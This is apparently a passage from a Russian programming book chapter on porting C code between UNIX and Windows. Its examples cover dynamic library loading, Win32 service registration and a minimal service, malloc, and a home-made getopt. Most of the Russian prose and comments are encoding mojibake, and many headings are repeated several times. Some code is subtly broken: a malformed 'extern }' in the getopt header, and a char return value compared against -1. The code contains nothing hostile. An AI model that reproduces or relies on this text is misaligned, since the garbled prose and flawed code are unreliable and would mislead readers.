ôóíêöèè èñïîëüçóþòñÿ â ïðèìåðå ïðîãðàììû nmon èç ýòîé ãëàâû äëÿ ïîä-
äåðæêè ïîäêëþ÷àåìûõ ìîäóëåé.

Рекомендации по переносу программ между платформами UNIX и Microsoft Windows
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Äëÿ íàñ áóäóò ïðåäñòàâëÿòü èíòåðåñ ñëåäóþùèå  ôóíêöèè èç áèáëèîòåêè l ibdl:

� dlopen;
� dlsym;
� dlclose.

Ôóíêöèÿ dlopen ïðèìåíÿåòñÿ äëÿ îòêðûòèÿ ðàçäåëÿåìîé áèáëèîòåêè. Îíà
âîçâðàùàåò îïèñàíèå áèáëèîòåêè, êîòîðîå ìîæíî ïåðåäàòü ôóíêöèè dlsym
äëÿ ïîëó÷åíèÿ àäðåñîâ èíòåðåñóþùèõ ôóíêöèé.

Ôóíêöèÿ dlsym ïîçâîëÿåò ïîëó÷èòü àäðåñ ôóíêöèè èç áèáëèîòåêè, ïðåäâà-
ðèòåëüíî îòêðûòîé ñ ïîìîùüþ dlopen.

Ôóíêöèÿ dlclose çàêðûâàåò áèáëèîòåêó è îñâîáîæäàåò ñâÿçàííûå ñ íåé ðå-
ñóðñû.

Â ïðèìåðå 6.23 ïîêàçàíî, êàê ïðèìåíÿþòñÿ ýòè ôóíêöèè.

Пример 6.23. Пример 6.23. Пример 6.23. Пример 6.23. Пример 6.23. Пример динамической загрузки библиотеки в UNIX (dl1.c)
 1 /*

 2  * dl1.c

 3  *

 4  *

 5  */

 6
 7 #include <stdio.h>

 8 #include <dlfcn.h>

 9
10 #define SO_PATH  "/home/mike/book/test.so"

11 #define SYMBOL   "_function_name"

12
13 int

14 main(void)

15 {

16   void (*fp) ();

17   void *h = NULL;

18
19   h = dlopen(SO_PATH, DL_LAZY);

20   if(h == NULL)

21   {

22     printf("îøèáêà dlopen().\n");

23     return(1);

24   }

25
26   fp = dlsym (h, SYMBOL);

27   if(fp == NULL)

28   {

29     dlclose(h);

30     printf ("îøèáêà dlsym(), ñèìâîë íå íàéäåí.\n");

31     return (1);
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32   }

33
34   fp();

35
36   dlclose(h);

37
38   return (0);

39 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 7-8 âêëþ÷àþòñÿ çàãîëîâî÷íûå ôàéëû stdio.h è dlfcn.h, íåîáõî-

äèìûå äëÿ èñïîëüçîâàíèÿ ôóíêöèè printf() è ôóíêöèé ñåìåéñòâ dl.
� Â ñòðîêå 10 îïðåäåëÿåòñÿ ïóòü ê äèíàìè÷åñêè çàãðóæàåìîé áèáëèîòåêå.
� Â ñòðîêå 11 îïðåäåëåíî èìÿ äèíàìè÷åñêè ñâÿçûâàåìîé ôóíêöèè –

_function_name. Îáðàòèòå âíèìàíèå, ÷òî èìÿ íà÷èíàåòñÿ ñ ïîä÷åðêèâà-
íèÿ, ýòî íåîáõîäèìî, êîãäà áèáëèîòåêà ïîñòðîåíà êîìïèëÿòîðîì GCC.

� Â ñòðîêå 16 îáúÿâëåí óêàçàòåëü íà ôóíêöèþ fp, êîòîðîìó ïîçæå áóäåò
ïðèñâîåí àäðåñ ñèìâîëà èç áèáëèîòåêè.

� Â ñòðîêå 19 äëÿ îòêðûòèÿ äèíàìè÷åñêè çàãðóæàåìîé ðàçäåëÿåìîé áèá-
ëèîòåêè âûçûâàåòñÿ ôóíêöèÿ dlopen().

� Â ñòðîêå 26 äëÿ êîìïîíîâêè íóæíîé ôóíêöèè ñ ïðîãðàììîé âûçûâàåò-
ñÿ ôóíêöèÿ dlsym().

� Â ñòðîêå 34 ñêîìïîíîâàííàÿ ôóíêöèÿ âûçûâàåòñÿ ÷åðåç óêàçàòåëü fp.
� Â ñòðîêå 36 áèáëèîòåêà çàêðûâàåòñÿ ôóíêöèåé dlclose().

Â Windows òîæå åñòü ôóíêöèè äëÿ äèíàìè÷åñêîé çàãðóçêè áèáëèîòåê, êî-
òîðûå  äîâîëüíî  òî÷íî  ñîîòâåòñòâóþò ôóíêöèÿì èç l ibdl, à èìåííî:

� LoadLibrary;
� GetProcAddress;
� FreeLibrary.

Èñïîëüçóþòñÿ îíè òàê æå, êàê èõ àíàëîãè â UNIX (ñì. ïðèìåð 6.24).

Пример 6.24. Пример 6.24. Пример 6.24. Пример 6.24. Пример 6.24. Пример динамической загрузки библиотеки
на платформе Win32 (dl2.c)
1 /*

2  * dl2.c

3  *

4  *

5  */

6
7 #include <windows.h>

8 #include <stdio.h>

9
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10 #define DLL_PATH  "C:\\home\\mike\\book\\test.dll"

11 #define SYMBOL    "function_name" // íà÷àëüíûé ïîä÷åðê íå íóæåí

12
13 int

14 main(void)

15 {

16   void (*fp) ();

17   HANDLE h = NULL;

18
19   h = LoadLibrary(DLL_PATH);

20   if(h == NULL)

21   {

22     printf("îøèáêà LoadLibrary().\r\n");

23     return(1);

24   }

25
26   fp = (void *) GetProcAddress(h, SYMBOL);

27   if(fp == NULL)

28   {

29     FreeLibrary(h);

30     printf ("îøèáêà GetProcAddress(), ñèìâîë íå íàéäåí.\n");

31     return (1);

32   }

33
34   fp();

35
36   FreeLibrary (h);

37
38   return (0);

39 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 7–8 âêëþ÷àþòñÿ çàãîëîâî÷íûå ôàéëû windows.h è stdio.h, íå-

îáõîäèìûå äëÿ èñïîëüçîâàíèÿ ôóíêöèè printf() è ôóíêöèé ñåìåéñòâ
LoadLibrary.

� Â ñòðîêå 10 îïðåäåëÿåòñÿ ïóòü ê äèíàìè÷åñêè çàãðóæàåìîé áèáëèîòåêå.
� Â ñòðîêå 11 îïðåäåëåíî èìÿ äèíàìè÷åñêè ñâÿçûâàåìîé ôóíêöèè – _func-

tion_name.
� Â ñòðîêå 16 îáúÿâëåí óêàçàòåëü íà ôóíêöèþ fp, êîòîðîìó ïîçæå áóäåò

ïðèñâîåí àäðåñ ñèìâîëà èç áèáëèîòåêè.
� Â ñòðîêå 19 äëÿ îòêðûòèÿ äèíàìè÷åñêè çàãðóæàåìîé ðàçäåëÿåìîé áèá-

ëèîòåêè âûçûâàåòñÿ ôóíêöèÿ LoadLibrary().
� Â ñòðîêå 26 äëÿ êîìïîíîâêè íóæíîé ôóíêöèè ñ ïðîãðàììîé âûçûâàåò-

ñÿ ôóíêöèÿ GetProcAddress().
� Â ñòðîêå 34 ñêîìïîíîâàííàÿ ôóíêöèÿ âûçûâàåòñÿ ÷åðåç óêàçàòåëü fp.
� Â ñòðîêå 36 áèáëèîòåêà çàêðûâàåòñÿ ôóíêöèåé FreeLibrary().
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Программирование демонов и Win323сервисов

Íà áîëüøèíñòâå ïëàòôîðì UNIX ïîääåðæèâàåòñÿ çàïóñê ôîíîâûõ ïðîöåñ-
ñîâ âî âðåìÿ íà÷àëüíîé çàãðóçêè ñèñòåìû. Òàêèå ôîíîâûå ïðîöåññû íàçûâà-
þòñÿ äåìîíàìè. Åñòü äâå îñíîâíûõ ðàçíîâèäíîñòè äåìîíîâ: çàïóñêàåìûå èç
rc-ñöåíàðèåâ è ðàáîòàþùèå êàê íåçàâèñèìûå ïðîöåññû, à òàêæå çàïóñêàå-
ìûå äåìîíîì inetd ïðè êàæäîì çàïðîñå ïî îäíîìó èç ïðîòîêîëîâ TCP/IP íà
êàêîé-òî èç ñêîíôèãóðèðîâàííûõ ïîðòîâ.

Ïðîãðàììû, ïðåäíàçíà÷åííûå äëÿ çàïóñêà ñ ïîìîùüþ inetd, ïåðåíîñèòü
ñëîæíåå, òàê êàê äëÿ îáìåíà äàííûìè ñ óäàëåííûì êëèåíòîì îíè èñïîëüçóþò
ñòàíäàðòíûé ââîä è âûâîä. Â Windows òàêàÿ ìîäåëü íå ïîääåðæèâàåòñÿ, ïî-
ýòîìó ïðèäåòñÿ äîáàâèòü ðàáîòó ñ ñîêåòàìè ñàìîñòîÿòåëüíî.

Ïåðåíîñ ïðîãðàìì, ñïðîåêòèðîâàííûõ äëÿ çàïóñêà èç rc-ñöåíàðèåâ, ïðîùå,
ïîñêîëüêó íà ïëàòôîðìå Windows NT ïîääåðæèâàþòñÿ ôîíîâûå ïðîöåññû,
êîòîðûå çäåñü íàçûâàþòñÿ Win32-ñåðâèñàìè.

Àðõèòåêòóðà ñåðâèñîâ ïðåäïîëàãàåò, ÷òî ïðîãðàììà, êîòîðàÿ äîëæíà ðàáî-
òàòü êàê ñåðâèñ, ðåãèñòðèðóåòñÿ â äèñïåò÷åðå ñåðâèñîâ (Service Control Mana-
ger – SCM). Çàðåãèñòðèðîâàííûå ïðîãðàììû ïðèñóòñòâóþò â îñíàñòêå Windows
Services, èõ ìîæíî êîíôèãóðèðîâàòü, çàïóñêàòü, îñòàíàâëèâàòü è ïðîèçâî-
äèòü äðóãèå îïåðàöèè.

Рис. 6.3. Рис. 6.3. Рис. 6.3. Рис. 6.3. Рис. 6.3. Оснастка для управления сервисами
в Microsoft Windows 2000

Ñåðâèñ ìîæíî çàðåãèñòðèðîâàòü â SCM ïðîãðàììíî (ñì. ïðèìåð 6.25).
Äëÿ ýòîãî íåîáõîäèìî óêàçàòü êàê ìèíèìóì óíèêàëüíîå èìÿ ñåðâèñà, îòî-
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áðàæàåìîå èìÿ, êîòîðîå áóäåò âèäíî â îñíàñòêå Services, è àáñîëþòíûé ïóòü
ê èñïîëíÿåìîìó ôàéëó.

Пример 6.25. Пример 6.25. Пример 6.25. Пример 6.25. Пример 6.25. Регистрация сервиса в SCM (scm1.c)
 1 /*

 2  * scm1.c

 3  *

 4  *

 5  */

 6
 7 #include <windows.h>

 8 #include <stdio.h>

 9
10 #define SERVICE_NAME "TestService"

11 #define SERVICE_DISP "Test Service 123"

12 #define SERVICE_EXEC "C:\\TestService.exe"

13
14 int

15 main(void)

16 {

17   SC_HANDLE sch = NULL;

18   SC_HANDLE svc = NULL;

19
20   sch = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);

21   if(sch == NULL)

22   {

23     printf("îøèáêà OpenSCManager().\r\n");

24     return(1);

25   }

26
27   svc =

28     CreateService(sch,

29 SERVICE_NAME,

30 SERVICE_DISP,

31 STANDARD_RIGHTS_REQUIRED,

32 SERVICE_WIN32_OWN_PROCESS,

33 SERVICE_DEMAND_START,

34 SERVICE_ERROR_IGNORE,

35 SERVICE_EXEC,

36 NULL,

37 NULL,

38 NULL,

39 NULL,

40 NULL);

41   if(svc == NULL)

42   {

43     CloseServiceHandle(sch);

44     printf("îøèáêà CreateService().\r\n");



319

45     return(1);

46   }

47
48   CloseServiceHandle(sch);

49   CloseServiceHandle(svc);

50
51   printf("*** ñåðâèñ ñîçäàí.\r\n");

52
53   return(0);

54 }

Ïðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿ
Âîò ÷òî íàïå÷àòàåò ýòà ïðîãðàììà, áóäó÷è îòêîìïèëèðîâàíà è çàïóùåíà íà
ïëàòôîðìå Win32.

Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32
C:\>Documents and Settings\Mike\My Documents\Visual Studio Projects\
thread2\Debug>scm1.exe
*** ñåðâèñ ñîçäàí.

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 7–8 âêëþ÷àþòñÿ çàãîëîâî÷íûå ôàéëû windows.h è stdio.h, íå-

îáõîäèìûå äëÿ èñïîëüçîâàíèÿ ôóíêöèè printf() è ôóíêöèé ñåìåéñòâ
SCM.

� Â ñòðîêå 10 îïðåäåëÿåòñÿ èìÿ ñåðâèñà, ïîä êîòîðûì îíî áóäåò èçâåñò-
íî äèñïåò÷åðó SCM.

� Â ñòðîêå 11 îïðåäåëÿåòñÿ îòîáðàæàåìîå èìÿ ñåðâèñà, êîòîðîå áóäóò âè-
äåòü ïîëüçîâàòåëè, îòêðûâøèå îñíàñòêó Windows Services.

� Â ñòðîêå 12 îïðåäåëÿåòñÿ ïóòü ê èñïîëíÿåìîìó ôàéëó ñåðâèñà.
� Â ñòðîêå 17 îáúÿâëåíà ïåðåìåííàÿ sch òèïà SC_HANDLE. Â íåé áóäåò

õðàíèòüñÿ îïèñàòåëü SCM, íåîáõîäèìûé äëÿ äîñòóïà ê SCM.
� Â ñòðîêå 17 îáúÿâëåíà ïåðåìåííàÿ svc òèïà SC_HANDLE. Â íåé áóäåò õðà-

íèòüñÿ îïèñàòåëü âíîâü ñîçäàííîãî ñåðâèñà.
� Â ñòðîêå 20 âûçûâàåòñÿ ôóíêöèÿ OpenSCManager(), êîòîðàÿ âîçâðàùàåò

îïèñàòåëü SCM.
� Â ñòðîêå 28 âûçûâàåòñÿ ôóíêöèÿ CreateService(), êîòîðàÿ ðåãèñòðèðóåò

ñåðâèñ â SCM. Â ðåçóëüòàòå â âåòâè ðååñòðà HKEY_LOCAL_MACHI-
NE\SYSTEM\ CurrentControlSet\Services áóäåò ñîçäàí êëþ÷, ñîäåðæàùèé
èìÿ è îòîáðàæàåìîå èìÿ ñåðâèñà, ïóòü ê èñïîëíÿåìîìó ôàéëó è íåêî-
òîðûå äðóãèå ïàðàìåòðû.

� Â ñòðîêàõ 48–49 ðàíåå îòêðûòûå îïèñàòåëè çàêðûâàþòñÿ ôóíêöèåé
CloseServiceHandle().
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Åñëè òåïåðü çàãðóçèòü îñíàñòêó Services, òî ïîÿâèòñÿ ñåðâèñ Test Service
(ðèñ. 6.4).

Äàëåå ìû ðåàëèçóåì ïðîãðàììó TestService, ïðîäåìîíñòðèðîâàâ, êàêèå èç-
ìåíåíèÿ íóæíî âíåñòè â ñòàíäàðòíóþ ïðîãðàììó íà ÿçûêå C, ÷òîáû ïðåâðà-
òèòü åå â Windows-ñåðâèñ.

Рис. 6.4.Рис. 6.4.Рис. 6.4.Рис. 6.4.Рис. 6.4. Оснастка Services после создания нового сервиса

Пример 6.26. Пример 6.26. Пример 6.26. Пример 6.26. Пример 6.26. Минимальный Win32*сервис (TestService.c)
 1 /*

 2  * TestService.c

 3  *

 4  *

 5  */

 6
 7 #include <windows.h>

 8
 9 #define SERVICE_NAME "TestService"

10
11 BOOL                  g_bStop = FALSE;

12 SERVICE_STATUS        g_hStatus;

13 SERVICE_STATUS_HANDLE g_hRegStatus;

14
15 /*

16  * UpdateService()

17  *

18  *

19  */

20 VOID UpdateService (DWORD state)
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21 {

22   g_hStatus.dwCurrentState = state;

23   SetServiceStatus(g_hRegStatus, &g_hStatus);

24 }

25
26 /*

27  * ServiceCtrlHandler()

28  *

29  *

30  */

31 static

32 VOID WINAPI ServiceCtrlHandler (DWORD control)

33 {

34   switch(control)

35   {

36     case SERVICE_CONTROL_SHUTDOWN:

37     case SERVICE_CONTROL_STOP    :

38
39       g_bStop = TRUE;

40
41       break;

42
43     default:

44
45       break;

46   }

47 }

48
49 /*

50  * RegisterService()

51  *

52  *

53  */

54 BOOL RegisterService()

55 {

56   memset(&g_hStatus   , 0x00, sizeof(SERVICE_STATUS));

57   memset(&g_hRegStatus, 0x00, sizeof(SERVICE_STATUS_HANDLE));

58
59   g_hStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;

60   g_hStatus.dwCurrentState = SERVICE_START_PENDING;

61   g_hStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP |

62                                  SERVICE_ACCEPT_SHUTDOWN;

63   g_hStatus.dwWin32ExitCode = NO_ERROR;

64   g_hStatus.dwCheckPoint = 0;

65   g_hStatus.dwWaitHint = 0;

66   g_hStatus.dwServiceSpecificExitCode = 0;

67
68   g_hRegStatus = RegisterServiceCtrlHandler

69      (SERVICE_NAME, ServiceCtrlHandler);

Рекомендации по переносу программ между платформами UNIX и Microsoft Windows



322 Глава 6. Написание переносимых программ

 70
 71   return(g_hRegStatus != 0 ? TRUE : FALSE);

 72 }

 73
 74 /*

 75  * ServiceMain()

 76  *

 77  *

 78  */

 79 VOID WINAPI ServiceMain(DWORD argc,

 80                         LPSTR argv[])

 81 {

 82   HANDLE hnd = NULL;

 83   BOOL   ret = FALSE;

 84
 85   ret = RegisterService();

 86   if(ret == FALSE)

 87   {

 88     return;

 89   }

 90
 91   UpdateService(SERVICE_RUNNING);

 92
 93   /*

 94    * çäåñü ðàçìåùàåòñÿ êîä, ðåàëèçóþùèé ôóíêöèîíàëüíîñòü ñåðâèñà.

 95    */

 96
 97   while(g_bStop == FALSE)

 98   {

 99     Sleep(1000);

100   }
101
102   UpdateService(SERVICE_STOPPED);
103 }

104
105 int

106 main(DWORD argc, LPSTR argv[])

107 {

108   SERVICE_TABLE_ENTRY dispTable[2];

109   BOOL ret = FALSE;

110
111   memset(&dispTable, 0x00, sizeof(SERVICE_TABLE_ENTRY) * 2);

112
113   dispTable[0].lpServiceName = SERVICE_NAME;

114   dispTable[0].lpServiceProc = ServiceMain ;

115
116   // çàïóñòèòü ñåðâèñ, îí íà÷èíàåò èñïîëíåíèå

117   // â ôóíêöèè ServiceMain

118   ret = StartServiceCtrlDispatcher(dispTable);
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119
120
121   return(ret == FALSE ? 1 : 0);

122 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 106 îáúÿâëåíà ôóíêöèÿ main(). Îíà íóæíà òîëüêî äëÿ ïîäãîòîâêè

ôóíêöèè ServiceMain, êîòîðàÿ ÿâëÿåòñÿ òî÷êîé âõîäà â ñåðâèñ. Â äàííîì
ïðèìåðå ýòà ôóíêöèÿ ïðîñòî «êðóòèòñÿ» â öèêëå (ñòðîêà 97), ïîêà ñåðâèñ
íå áóäåò îñòàíîâëåí èçâíå, ïîñëå ÷åãî ïðîãðàììà áóäåò çàâåðøåíà.

� Â ñòðîêå 108 îáúÿâëåí ìàññèâ dispTable, ñîñòîÿùèé èç äâóõ ñòðóêòóð
òèïà SERVICE_TABLE_ENTRY. Â íåì õðàíÿòñÿ èìÿ ñåðâèñà è óêàçàòåëü
íà ôóíêöèþ ServiceMain (ñòðîêè 113 è 114).

� Â ñòðîêå 119 ñ ïîìîùüþ ôóíêöèè StartServiceCtrlDispatcher() âûçûâàåò-
ñÿ ôóíêöèÿ ServiceMain(). Åñëè âñå ïðîéäåò óñïåøíî, òî ýòà ôóíêöèÿ íå
âåðíåò óïðàâëåíèå. Â ïðîòèâíîì ñëó÷àå áóäåò âîçâðàùåíî çíà÷åíèå
FALSE.

� Â ñòðîêå 79 îáúÿâëåíà ôóíêöèÿ ServiceMain(). Èìåííî çäåñü ñîñðåäîòî-
÷åíà ëîãèêà ñåðâèñà.

� Â ñòðîêå 85 âûçûâàåòñÿ ôóíêöèÿ RegisterService() (íà÷èíàåòñÿ â ñòðîêå
54), êîòîðàÿ ðåãèñòðèðóåò ðàçëè÷íûå ñâîéñòâà ñåðâèñà, â òîì ÷èñëå, íà
êàêèå ñîîáùåíèÿ (çàïóñòèòü, îñòàíîâèòü, ïåðåçàïóñòèòü è äðóãèå) îí
áóäåò ðåàãèðîâàòü, êàêèå äåéñòâèÿ ïðåäïðèíÿòü, åñëè ñåðâèñ àâàðèéíî
çàâåðøèòñÿ è òàê äàëåå.

� Â ñòðîêå 91 âûçûâàåòñÿ ôóíêöèÿ UpdateService() (íà÷èíàåòñÿ â ñòðîêå
20) ñ ïàðàìåòðîì SERVICE_RUNNING, êîòîðûé ãîâîðèò SCM î òîì,
÷òî ñåðâèñ íà÷àë ðàáîòàòü.

� Â ñòðîêå 97 íà÷èíàåòñÿ öèêë, êîòîðûé ðàáîòàåò, ïîêà áóëåâñêàÿ ïåðå-
ìåííàÿ g_bStop íå ñòàíåò ðàâíîé TRUE. Íà êàæäîé èòåðàöèè ïðîãðàììà
«çàñûïàåò» íà îäíó ñåêóíäó, ïîñëå ÷åãî ïðîâåðÿåò çíà÷åíèå ïåðåìåí-
íîé. Ôóíêöèÿ ServiceCtrlHandler(), îáúÿâëåííàÿ â ñòðîêå 32, îáðàáàòû-
âàåò ñîîáùåíèÿ, êîòîðûå SCM ïîñûëàåò ñåðâèñó. Â äàííîì ïðèìåðå
îáðàáàòûâàþòñÿ òîëüêî ñîîáùåíèÿ SERVICE_CONTROL_SHUTDOWN
è SERVICE_CONTROL_STOP. Ïðè ïîëó÷åíèè ëþáîãî èç íèõ ãëîáàëü-
íîé ïåðåìåííîé g_bStop ïðèñâàèâàåòñÿ çíà÷åíèå TRUE, â ðåçóëüòàòå
÷åãî ïðîèñõîäèò âûõîä èç öèêëà â ñòðîêå 97 è çàâåðøåíèå ñåðâèñà.

� Â ñòðîêå 102 ïåðåìåííîé g_bStop ïðèñâàèâàåòñÿ çíà÷åíèå TRUE, ÷òî
âëå÷åò çà ñîáîé âûõîä èç öèêëà â ñòðîêå 97 è âûçîâ ôóíêöèè UpdateSer-
vice() ñ ïàðàìåòðîì SERVICE_STOPPED. Ýòî ñëóæèò äëÿ SCM èçâåùå-
íèåì î òîì, ÷òî ñåðâèñ çàêîí÷èë ðàáîòó. Â ýòîò ìîìåíò ïðîãðàììà äîëæ-
íà çàâåðøèòüñÿ.
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Çàïóñòèòü ñåðâèñ TestService ìîæíî èç îñíàñòêè Services, êàê ïîêàçàíî íà
ðèñ. 6.5.

Рис. 6.5. Рис. 6.5. Рис. 6.5. Рис. 6.5. Рис. 6.5. Запуск сервиса TestService из оснастки Services

Áîëåå ïîäðîáíóþ èíôîðìàöèþ î ïðîãðàììèðîâàíèè Win32-ñåðâèñîâ ìîæ-
íî íàéòè íà ñàéòå http://msdn.microsoft.com èëè â äîêóìåíòàöèè, ïîñòàâëÿå-
ìîé âìåñòå ñ Visual Studio, çàäàâ êëþ÷åâîå ñëîâî «Service Control Manager».

Управление памятью

Ñòàíäàðòíûå äëÿ ÿçûêîâ C è C++ ñðåäñòâà óïðàâëåíèÿ ïàìÿòüþ, â òîì ÷èñëå
malloc, free, new è delete ïîääåðæèâàþòñÿ êàê â UNIX, òàê è â Windows. Â Win-
dows äëÿ ðàáîòû ñ ôóíêöèÿìè èç ñåìåéñòâà malloc íóæíî âêëþ÷èòü çàãîëîâî÷-
íûé ôàéë malloc.h.

Â ïðèìåðå 6.27 ïîêàçàíî, êàê ïîëüçîâàòüñÿ ôóíêöèÿìè malloc() è free() íà
ïëàòôîðìå Windows.

Пример 6.27. Пример 6.27. Пример 6.27. Пример 6.27. Пример 6.27. Использование функции malloc() (malloc1.c)
1 /*

2  * malloc1.c

3  *

4  *

5  */

6
7 #include <stdio.h>

8 #include <malloc.h>
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 9
10 void

11 main(void)
12 {

13   void *p = NULL;
14
15   p = (void *) malloc(10);
16   if(p == NULL)

17   {
18     printf("îøèáêà malloc().\r\n");

19     return;
20   }

21
22   free(p);

23 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 15 ôóíêöèÿ malloc() âûçûâàåòñÿ äëÿ âûäåëåíèÿ 10 áàéòîâ ïà-

ìÿòè. Ýòà ôóíêöèÿ îäèíàêîâî ðàáîòàåò íà îáåèõ ïëàòôîðìàõ.
� Â ñòðîêå 22 âûäåëåííàÿ ïàìÿòü îñâîáîæäàåòñÿ ôóíêöèåé free().

Обработка аргументов,

заданных в командной строке

Â áîëüøèíñòâå âàðèàíòîâ UNIX äëÿ îáðàáîòêè àðãóìåíòîâ, çàäàííûõ â êî-
ìàíäíîé ñòðîêå, ïðèìåíÿåòñÿ ôóíêöèÿ getopt(). Îíà ðàçáèðàåò àðãóìåíòû è
ïîçâîëÿåò âûçûâàþùåé ïðîãðàììå ïðîàíàëèçèðîâàòü çàäàííûå ôëàãè è,
âîçìîæíî, èõ çíà÷åíèÿ âíóòðè ïðåäëîæåíèÿ switch. Â Windows ôóíêöèè
getopt() íåò, íî åå ïðîñòóþ ðåàëèçàöèþ, ïðèâåäåííóþ â ïðèìåðå 6.28, ìîæíî
èñïîëüçîâàòü äëÿ ïåðåíîñà ïðîãðàìì èç UNIX.

Пример 6.28. Пример 6.28. Пример 6.28. Пример 6.28. Пример 6.28. Заголовочный файл getopt (getopt.h)
 1 /*

 2  * getopt.h

 3  *

 4  *

 5  */

 6
 7 #ifndef __GETOPT_H__

 8 #define __GETOPT_H__

 9
10 #ifdef __cplusplus

11 extern "C" {

12 #endif

13
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14 extern int   opterr;

15 extern char *optarg;

16
17 /*

18  * getopt()

19  *

20  *

21  */

22 char getopt(int argc, char *argv[], char *fmt);

23
24 #ifdef __cplusplus

25 extern }

26 #endif

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 14 è 15 îáúÿâëåíû ãëîáàëüíûå ïåðåìåííûå opterr è optarg.

Ôóíêöèÿ getopt() óñòàíàâëèâàåò ïåðåìåííóþ opterr, åñëè âî âðåìÿ îáðà-
áîòêè êîìàíäíûõ àðãóìåíòîâ îáíàðóæèâàåòñÿ îøèáêà. Ïåðåìåííîé
optarg ïðèñâàèâàåòñÿ çíà÷åíèå ôëàãà, åñëè òàêîâîå çàäàíî. Îáå ïåðå-
ìåííûå îáúÿâëåíû âíåøíèìè (extern), à îïðåäåëåíû áóäóò â ôàéëå
getopt.c (ïðèìåð 6.29).

� Â ñòðîêå 22 îáúÿâëåíà ôóíêöèÿ getopt(). Ïåðâûì àðãóìåíòîì åé ïåðåäà-
åòñÿ ïåðåìåííàÿ argc, êîòîðóþ ïîëó÷èëà îò îïåðàöèîííîé ñèñòåìû ôóí-
êöèÿ main(), âòîðîé àðãóìåíò – ýòî ìàññèâ argv, òàêæå ïîëó÷åííûé
main(). Òðåòèé àðãóìåíò – ýòî ñòðîêà, ñîäåðæàùàÿ îïèñàíèå âîçìîæ-
íûõ ôëàãîâ, íàïðèìåð, abc:d. Çäåñü êàæäàÿ áóêâà îïèñûâàåò îäèí èç
ôëàãîâ ïðîãðàììû, à åñëè çà áóêâîé ñëåäóåò äâîåòî÷èå, çíà÷èò, ñîîòâåò-
ñòâóþùèé ôëàã òðåáóåò çíà÷åíèÿ (íàïðèìåð, program -a -b -c value -d).

Пример 6.29. Пример 6.29. Пример 6.29. Пример 6.29. Пример 6.29. Простая реализация getopt
 1 /*

 2  * getopt.c

 3  *

 4  *

 5  */

 6
 7 #include "getopt.h"

 8 #include <stdio.h>

 9 #include <ctype.h>

10 #include <string.h>

11
12 #define  GETOPT_ERR '?'

13 #define  GETOPT_END -1

14
15 int   opterr = 0;
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16 char *optarg = NULL;

17
18 /*

19  * getopt()

20  *

21  * ./program -a apple -o orange -c cookie

22  */

23
24 static int idx = 1;

25
26 char getopt(int argc, char *argv[], char *fmt)

27 {

28   char *opts = NULL;

29   char *fmts = NULL;

30   char *args = NULL;

31   char  tmp[3];

32
33   if(idx >= argc)

34   {

35     return(GETOPT_END);

36   }

37
38   optarg = NULL;

39   opts   = argv[idx++];

40
41   if(strlen(opts) != 2 ||

42      opts[0] != '-')

43   {

44     return(GETOPT_ERR);

45   }

46
47   tmp[0] = opts[1];

48   tmp[1] = ':';

49   tmp[2] = '\0';

50
51   fmts = strstr(fmt, tmp);

52   if(fmts == NULL)

53   {

54     tmp[1] = '\0';

55     fmts   = strstr(fmt, tmp);

56     if(fmts == NULL)

57     {

58       // íå íàéäåíà

59       return(GETOPT_ERR);

60     }

61
62     return(tmp[0]);

63   }

64
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65   if(idx >= argc)

66   {

67     return(GETOPT_ERR);

68   }

69
70   optarg = argv[idx++];

71
72   return(tmp[0]);

73 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 26 îáúÿâëåíà ôóíêöèÿ getopt().
� Â ñòðîêàõ 28–31 îáúÿâëåíû ëîêàëüíûå ïåðåìåííûå, èñïîëüçóåìûå äëÿ

ðàçáîðà àðãóìåíòîâ, çàäàííûõ â êîìàíäíîé ñòðîêå.
� Â ñòðîêàõ 38–70 àðãóìåíòû ðàçáèðàþòñÿ ñ ó÷åòîì îïèñàòåëÿ ôëàãîâ fmt,

è êàæäûé ðàñïîçíàííûé ôëàã âîçâðàùàåòñÿ ôóíêöèè. Åñëè ó ôëàãà åñòü
çíà÷åíèå, òî îíî âîçâðàùàåòñÿ â ãëîáàëüíîé ïåðåìåííîé optarg.

Â ïðèìåðå 6.30 äåìîíñòðèðóåòñÿ ïðèìåíåíèå ôóíêöèè getopt().

Пример 6.30. Пример 6.30. Пример 6.30. Пример 6.30. Пример 6.30. Программа для тестирования функции getopt()
 1 /*

 2  * main.c

 3  *

 4  * Ïðèìåð getopt íà ïëàòôîðìå Win32

 5  */

 6
 7 #include <stdio.h>

 8 #include "getopt.h"

 9
10 int

11 main(int argc, char *argv[])

12 {

13   char *test = NULL;

14   char  ch   = 0;

15   int   flag = 0;

16
17   opterr = 0;

18   while((ch = getopt(argc, argv, "t:f")) != -1)

19   {

20     switch(ch)

21     {

22       case 't':

23
24         test = optarg;

25         break;

26
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27       case 'f':

28
29         flag = 1;

30         break;

31
32       default:

33
34         printf("íåèçâåñòíûé ôëàã.\r\n");

35         return(1);

36     }

37   }

38
39   if(test == NULL)

40   {

41     printf("íå çàäàí ôëàã -t.\r\n");

42     return(1);

43   }

44
45   printf("test: %s, flag: %d\r\n", test, flag);

46
47   return(0);

48 }

Ïðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿ
Âîò ÷òî íàïå÷àòàåò ýòà ïðîãðàììà, áóäó÷è îòêîìïèëèðîâàíà è çàïóùåíà íà
ïëàòôîðìå Win32.

